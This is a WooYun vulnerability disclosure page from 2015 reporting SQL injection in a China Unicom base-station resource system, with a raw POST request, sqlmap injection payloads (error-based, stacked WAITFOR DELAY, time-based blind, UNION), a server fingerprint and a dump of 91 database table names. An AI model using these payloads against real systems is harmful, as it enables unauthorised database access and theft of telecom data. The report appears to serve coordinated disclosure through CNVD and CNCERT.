当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144225

漏洞标题：中国联通资源系统SQL注入/基站信息

相关厂商：中国联通

漏洞作者： 路人甲

提交时间：2015-10-07 11:11

修复时间：2015-11-26 18:00

公开时间：2015-11-26 18:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-07： 细节已通知厂商并且等待厂商处理中
2015-10-12： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向核心白帽子及相关领域专家公开
2015-11-01： 细节向普通白帽子公开
2015-11-11： 细节向实习白帽子公开
2015-11-26： 细节向公众公开

简要描述：

详细说明：

**.**.**.**/


POST / HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: **.**.**.**/
Content-Length: 610
Cookie: ASP.NET_SessionId=oiwqav3mmdwybixxf23kpvko
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
__EVENTTARGET=Window1%24SimpleForm1%24btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8%2BllW2Rr0Q&X_CHANGED=true&Window1%24SimpleForm1%24tbxUserName=*&Window1%24SimpleForm1%24tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30%3D&X_AJAX=true


1.jpg


2.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=' AND 2794=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (2794=2794) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'nOWO'='nOWO&Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=';WAITFOR DELAY '0:0:5'--&Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=' WAITFOR DELAY '0:0:5'--&Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(66)+CHAR(72)+CHAR(107)+CHAR(120)+CHAR(120)+CHAR(98)+CHAR(70)+CHAR(89)+CHAR(86)+CHAR(115)+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
current database:    'AKpatrol'


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=' AND 2794=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (2794=2794) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'nOWO'='nOWO&Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=';WAITFOR DELAY '0:0:5'--&Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=' WAITFOR DELAY '0:0:5'--&Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __EVENTTARGET=Window1$SimpleForm1$btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE4Mzg3NjMwMTFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBQdXaW5kb3cxBRNXaW5kb3cxJFNpbXBsZUZvcm0xBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFVzZXJOYW1lBR9XaW5kb3cxJFNpbXBsZUZvcm0xJHRieFBhc3N3b3JkBR1XaW5kb3cxJFNpbXBsZUZvcm0xJGJ0blN1Ym1pdC12rwGXZqJ59pUTBUtMnFWne4IV9s6gqG8+llW2Rr0Q&X_CHANGED=true&Window1$SimpleForm1$tbxUserName=' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(66)+CHAR(72)+CHAR(107)+CHAR(120)+CHAR(120)+CHAR(98)+CHAR(70)+CHAR(89)+CHAR(86)+CHAR(115)+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Window1$SimpleForm1$tbxPassword=123456&Window1_Hidden=false&X_TARGET=Window1_SimpleForm1_btnSubmit&Window1_SimpleForm1_Collapsed=false&Window1_Collapsed=false&X_STATE=e30=&X_AJAX=true
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: AKpatrol
[91 tables]
+----------------------------+
| Account_RolePermission     |
| Accounts_Roles             |
| Accounts_UserRoles         |
| Accounts_Users             |
| BaseSationPatrolPlan_Month |
| BaseSationPatrolPlan_Month |
| CDMA基站常用数据                       |
| Coordinates                |
| DICT_CHEJIAN               |
| DICT_DISFIGURELEVEL        |
| DICT_GONGQU                |
| DICT_XIANLU                |
| DISFIGUREDICT              |
| Departments                |
| Devie_Info                 |
| G网                          |
| G网参数                          |
| Identification             |
| JobLevels                  |
| LIUCHENG                   |
| Models                     |
| Patrol_Notes               |
| Proceeding_Item            |
| ProfessionalLevel          |
| STAFFSTATION               |
| STAFFTABLE                 |
| STATIONDICTTABLE           |
| STATIONTABLE               |
| StationPIC                 |
| Tel_User                   |
| VIEWAccounts_Users         |
| W_Station_Name             |
| Wcdma_话务_tmp                 |
| Wcdma_话务_tmp                 |
| W网参数                          |
| XLPIC                      |
| X_Config                   |
| X_Dept                     |
| X_JobTitle                 |
| X_Menu                     |
| X_RoleMenu                 |
| X_RoleMenu                 |
| X_RoleModule               |
| X_User                     |
| aaa                        |
| datatable                  |
| disfigurelevel             |
| dtproperties               |
| personalSign               |
| personalSign               |
| syncobj_0x4243314642344146 |
| sysFuncDic                 |
| sysFuncRights              |
| sysRolesDic                |
| 代码库表                       |
| 全国经纬度表                     |
| 固定资产标牌                     |
| 地市分公司数据                    |
| 基站信息                       |
| 基站台账                       |
| 基站图象                       |
| 基站基础资料                     |
| 基站开关电源                     |
| 基站收发信台                     |
| 基站电费                       |
| 基站空调                       |
| 基站设备列表                     |
| 巡检任务表LL                         |
| 巡检线路表                      |
| 巡检计划                       |
| 巡检计划时间                     |
| 巡检计划表                      |
| 快捷代码                       |
| 数据部                        |
| 本地                         |
| 机房设备明细                     |
| 用户管理                       |
| 管道段                        |
| 管道段数据                      |
| 线路基础数据                     |
| 线路巡检数据                     |
| 线路故障数据                     |
| 线路数据1                          |
| 线路普查数据                     |
| 线路类型参数                     |
| 线路维护单位管理                   |
| 线路维护单负责人管理                 |
| 线路表                        |
| 角色及权限管理                    |
| 设备类型代码                     |
| 财务资产信息                     |
+----------------------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-10-12 17:58

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国联通通报，由其后续协调网站管理部门处置。

最新状态：

暂无